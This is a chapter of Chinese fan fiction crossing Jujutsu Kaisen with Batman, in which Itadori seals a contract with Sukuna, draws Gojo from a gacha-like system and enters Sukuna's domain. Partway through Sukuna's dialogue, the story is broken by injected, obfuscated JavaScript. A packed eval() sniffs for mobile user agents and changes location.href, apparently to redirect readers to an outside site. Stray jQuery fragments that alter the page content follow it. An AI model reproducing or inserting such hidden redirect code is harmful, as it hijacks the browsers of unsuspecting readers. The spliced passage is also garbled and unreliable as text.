谈判尘埃落定后，虎杖悠仁小心翼翼地将那份签好的契约叠好，放进外套内侧的口袋里，指尖隔着布料轻轻按了按，像是在确认这份束缚的真实性。
随后少年抬头看向布鲁斯，眼底还盛着未完全褪去的感激。
“布鲁斯，这次真的太谢谢你了，如果不是你，我都不知道该怎么跟宿傩谈。”
“先别急着道谢。”布鲁斯抬手打断他，目光扫过少年口袋的方向，语气带着几分严肃。
“这份契约只是‘基础防线’，真正的考验还在后面。宿傩不是会乖乖遵守规则的角色，他很可能会在条款的边界上试探，你之后还需多加小心。”
“可是这合同已经如此详细了，怎么可能还有漏洞？”
虎杖悠仁皱着眉，努力回忆着合同上的条条框框，从物理攻击到精神干扰，从单独控体到共享意识，几乎能想到的情况都被覆盖了，他实在找不出半分可钻的空子。
“合同本身或许没有漏洞，但你没法用它强迫宿傩。”布鲁斯将手肘抵在桌沿，双手食指交叉抵着下巴，目光直直望进少年的眼眸
“你也知道战场上的事情瞬息万变，他若故意放慢出手速度、或者在救人时留一手，你能说他违反了条款吗？
他没伤人，也没破坏规则，只是没尽全力，可恰恰是这种不作为，往往最致命。”
这番话像一块小石子，轻轻砸进虎杖刚放松的心湖，瞬间漾开一圈忧虑的涟漪。
他攥着口袋的手指紧了紧，刚才因契约达成而灿烂起来的心情，又一点点沉了下去。
“我知道了，布鲁斯，我会注意的。”
布鲁斯见他听进了话，才微微点头，端起桌上装着小甜饼的瓷盘起身：“你明白就好。我还有些事要处理，就先走了。”
他最近还是挺忙的，黑面具死亡后残余的势力，以及法尔科内家族的后续还有研制能够监测咒灵的设备等等，都正等着他去处理。
“好，布鲁斯再见。”
“晚餐见。”
布鲁斯离开后，虎杖悠仁加快速度解决完了面前的小甜饼，也起身向着自己的房间走去，路过走廊时，恰好撞见刚包扎完伤口的杰森。
青年手臂上缠着厚厚的白色绷带，边角还渗出一点淡红色的血渍，却依旧一副满不在乎的模样，靠在墙边玩手机。
“杰森，你没事吧？”虎杖下意识停下脚步，目光落在那处已经干涸的血迹上，应该是刚刚流出来没擦干净的。
“一点小伤罢了。”杰森收起手机，抬眼看向他，语气随意:“倒是你，接下来有什么打算？总不能一直跟着布鲁斯打转吧？”
这话让虎杖愣了愣，眼底闪过一丝茫然。自从他从复活到现在，一直像被推着走。
刚醒来就遇上了杰森同步复活的情况，最后又要解决哥谭的咒灵危机，接着是和宿傩的契约谈判，根本没机会好好规划未来。
他唯一能确定的，就是现在回去用系统抽卡，尽快抽出新的卡牌，应付接下来的任务。
“我……我准备回房间跟同伴联系。”虎杖含糊地绕开了抽卡的细节，只捡了个稳妥的说法。
杰森挑了挑眉，也没追问，从口袋里摸出手机晃了晃：“布鲁斯给你的手机里存了我的号码，备注就是‘杰森’。之后要是遇到解决不了的麻烦，直接打给我，别硬撑。”
“好！没问题！”虎杖用力点头，又跟杰森道别后，才快步回到自己的房间。
他关上门，走到沙发边坐下，深吸一口气后闭上眼，在脑海里轻声呼唤。
「“系统，现在可以开始抽卡吗？”」
「“本次抽卡需消耗10万印象值，是否确定？”」
「“确定。”」
下一秒，虎杖眼前凭空浮现出一块半透明的屏幕，屏幕上无数人影飞速闪过——有穿着咒术高专制服的少年少女，有面带皱纹的老妪，还有穿着西装的成年人……每一张脸都带着不同的神态，看得他心跳不由自主地加快。
有着两面宿傩这个案例，虎杖悠仁已经大致摸清了这个【角色扮演模拟器】的用途，它不仅能让他“扮演”不同的角色，更藏着一个近乎奇迹的功能。
一个很大可能能将所有人都复活的功能，如果可以虎杖悠仁恨不得当场将所有人一起复活，但不用想也知道那会是一批简直遥不可及的金山。
远远不是现如今的他可以付得起的。
在少年期盼的目光下，屏幕上的人影渐渐慢了下来，最后，一道白发身影停在了屏幕中央。
那人戴着黑色眼罩，嘴角勾着漫不经心的笑，周身仿佛萦绕着淡淡的光晕，哪怕只是一张立绘，也透着说不出的强大与张扬。
“是五条老师！”
虎杖悠仁几乎是脱口而出，声音里满是雀跃，整个人瞬间从沙发上坐直了。
五条悟，曾经的咒术界最强，也是他最尊敬的老师。有老师在，之后的任务肯定会轻松很多！
可这份喜悦还没持续两秒，一道慵懒又带着嘲讽的磁性嗓音，在少年脑海里响起。
「“怎么现如今你还认为他能帮你解决所有事情吗？”」
听着脑内的声音，虎杖悠仁脸上原本欣喜的表情以肉眼可见速度收敛了起来，连语气都收敛了几分。
「“我高兴，是因为还能再见到五条老师，不是想让他解决所有事。宿傩，你有什么问题吗？”」
「“脸变得倒是挺快，怎么说我们现在也算同一个阵营的，怎么跟你聊几句话都不行了？”」
「“是条件反射。”」虎杖悠仁被两面宿傩话语暗暗刺了一下后，也反应过来自己对宿傩表现出的态度太过于敌意。
但他真的不是故意的，他已经养成一听到宿傩说话，就反射性开始警惕的本能了。虽说如此虎杖悠仁也还是努力让自己的态度，尽可能的显得友好一点。
「“你不要一直嘲讽我，我就和你聊天。”」
「“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16421852|183386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
之前是哪个说，愿意每天晚上进来陪我打发时间的？”」
被提醒后虎杖悠仁才想起自己之前为了让宿傩帮忙，确实说过这话。
现在天也快黑了，抽卡的事可以先放放，五条老师的“唤醒”也不急在这一时，不如先兑现承诺，安抚下这位难缠的同居者。
「“好吧，那你放我进去，我当面陪你聊天。”」
话音刚落下一秒，虎杖就感觉一股无形的力量裹住了自己的意识。少年眼前的沙发、房间瞬间消失，取而代之的，是一片弥漫着暗红色雾气的空间。
脚下踩着的不是柔软的地毯，而是密密麻麻、泛着冷光的白骨，空气中还飘着淡淡的、类似铁锈的气息。
这里，就是两面宿傩的“生得领域”。
而外界，只留下虎杖靠在沙发上的躯体，双眼紧闭，呼吸平稳，看上去就像睡着了一样。
“宿傩。”
脚踏在白森森的骨头之上，虎杖悠仁在领域内暗沉的红光照耀下，仰头看向上方站立于领域中心内的神龛之上居高临下俯视他的两面宿傩。
形状神似野兽巨口的神龛顶峰，鬼神傲然的站立于此，洁白的和服衣袖随意的垂落于两侧，明明是少年人的躯体，但诡异而冰冷的四只血眸破坏了稚嫩面容带来的亲切，徒留下的只有非人一般的阴戾与压迫感。
可虎杖却半点没被这气势吓到，反而抬起手，朝着神龛顶端挥了挥:“你下来聊吧，站那么高说话不方便。”
甚至可以说虎杖悠仁如今的态度，已经比半年前连咒力都完全不会用的少年，对足有三根手指实力的两面宿傩好上许多了。
毕竟当时他可是狠狠的照脸给了宿傩一拳，让他从上面下来被自己俯视的。*
两面宿傩听到小僧的呼唤，盯着他沉默了几秒，才抬脚向前迈了一步，从神龛顶端轻轻一跃。
和服衣摆在空中划过一道轻盈的弧线，他落地时轻得像一片羽毛，稳稳站在虎杖面前，两人之间的距离不过两步。
虎杖悠仁注意力却不在两面宿傩身上，少年低着头在脚边看了看，然后便瞧上了神龛状似牙齿般的门槛，形状规整，高度刚好到膝盖下方，倒像个现成的小凳子。
两面宿傩挑了挑眉，倒也没拒绝，依言在他身边坐下。人刚坐稳，虎杖就转头问道。
“宿傩你想谈什么？”
“这是你的问题。”两面宿傩扯了扯嘴角，语气带着几分嘲讽。
“之前为了求我救人，满口答应要陪我聊天解闷，怎么现在反倒问起我了？”
“可是你最后没有帮我设结界，对了，宿傩你还没有帮我做咒具版移动结界。”
提到这个话题虎杖悠仁才想起来之前他们还没彻底进行完的事情，用咒灵的力量制作一个便携咒具，能在遇到危险时自动弹出帐，护住周围的人。
可惜后来哥谭爆发了大规模咒灵危机，这事就被搁置了，现在刚好有时间，倒是可以继续推进。